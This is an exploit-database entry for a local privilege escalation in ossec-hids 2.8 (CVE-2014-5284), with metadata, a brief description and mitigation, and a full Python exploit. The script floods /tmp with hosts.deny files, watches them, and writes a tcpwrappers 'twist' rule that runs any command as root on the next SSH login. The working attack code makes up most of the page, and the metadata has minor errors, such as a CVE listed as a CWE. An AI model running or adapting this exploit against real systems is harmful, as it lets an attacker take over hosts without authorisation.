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vendor:
ossec-hids
by:
skynet-13
7,8
CVSS
HIGH
Insecure Temporary File Creation Vulnerability
264
CWE
Product Name: ossec-hids
Affected Version From: 2.8
Affected Version To: 2.8.1
Patch Exists: YES
Related CWE: 2014-5284
CPE: a:ossec:ossec-hids
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Ubuntu x86_64
2014

ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation

The ossec 2.8 Insecure Temporary File Creation Vulnerability allows an attacker to gain root privileges on the target system by exploiting a vulnerability in the ossec 2.8 software. The vulnerability exists due to the insecure temporary file creation process, which allows an attacker to create a malicious file in the /tmp directory and then execute arbitrary code as root. The attacker can then gain full control of the system.

Mitigation:

The best way to mitigate this vulnerability is to upgrade to the latest version of ossec 2.8.1, which has been patched to address this issue.
Source

Exploit-DB raw data:

#!/usr/bin/python
# Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation
# Date: 14-11-14
# Exploit Author: skynet-13
# Vendor Homepage: www.ossec.net/
# Software Link: https://github.com/ossec/ossec-hids/archive/2.8.1.tar.gz
# Version: OSSEC  - 2.8
# Tested on: Ubunutu x86_64
# CVE : 2014-5284

# Created from Research by
# Jeff Petersen
# Roka Security LLC
# jpetersen@rokasecurity.com
# Original info at https://github.com/ossec/ossec-hids/releases/tag/2.8.1

# Run this on target machine and follow instructions to execute command as root

from twisted.internet import inotify
from twisted.python import filepath
from twisted.internet import reactor
import os
import optparse
import signal


class HostDenyExploiter(object):

    def __init__(self, path_to_watch, cmd):
        self.path = path_to_watch
        self.notifier = inotify.INotify()
        self.exploit = cmd

    def create_files(self):
        print "=============================================="
        print "Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ..."

        for i in range(300, 65536):
            filename = "/tmp/hosts.deny.%s" % i
            f = open(filename, 'w')
            f.write("")
            f.close()

    def watch_files(self):
        print "=============================================="
        print "Monitoring tmp for file change...."
        print "ssh into the system a few times with an incorrect password"
        print "Then wait for up to 10 mins"
        print "=============================================="
        self.notifier.startReading()
        self.notifier.watch(filepath.FilePath(self.path), callbacks=[self.on_file_change])

    def write_exploit_to_file(self, path):
        print 'Writing exploit to this file'
        f = open(str(path).split("'")[1], 'w')
        f.write(' sshd : ALL : twist %s \n' % self.exploit)
        f.close()
        print "=============================================="
        print " ssh in again to execute the command"
        print "=============================================="
        print "               End Prog."
        os.kill(os.getpid(), signal.SIGUSR1)

    def on_file_change(self, watch, path, mask):
        print 'File: ', str(path).split("'")[1], ' has just been modified'
        self.notifier.stopReading()
        self.write_exploit_to_file(path)


if __name__ == '__main__':
    parser = optparse.OptionParser("usage of program \n" + "-c Command to run as root in quotes\n")
    parser.add_option('-c', dest='cmd', type='string', help='Used to specify a command to run as root')
    (options, args) = parser.parse_args()
    cmd = options.cmd
    if options.cmd is None:
        print parser.usage
        exit(0)
    ex = HostDenyExploiter('/tmp', cmd)
    ex.create_files()
    ex.watch_files()
    reactor.run()
    exit(0)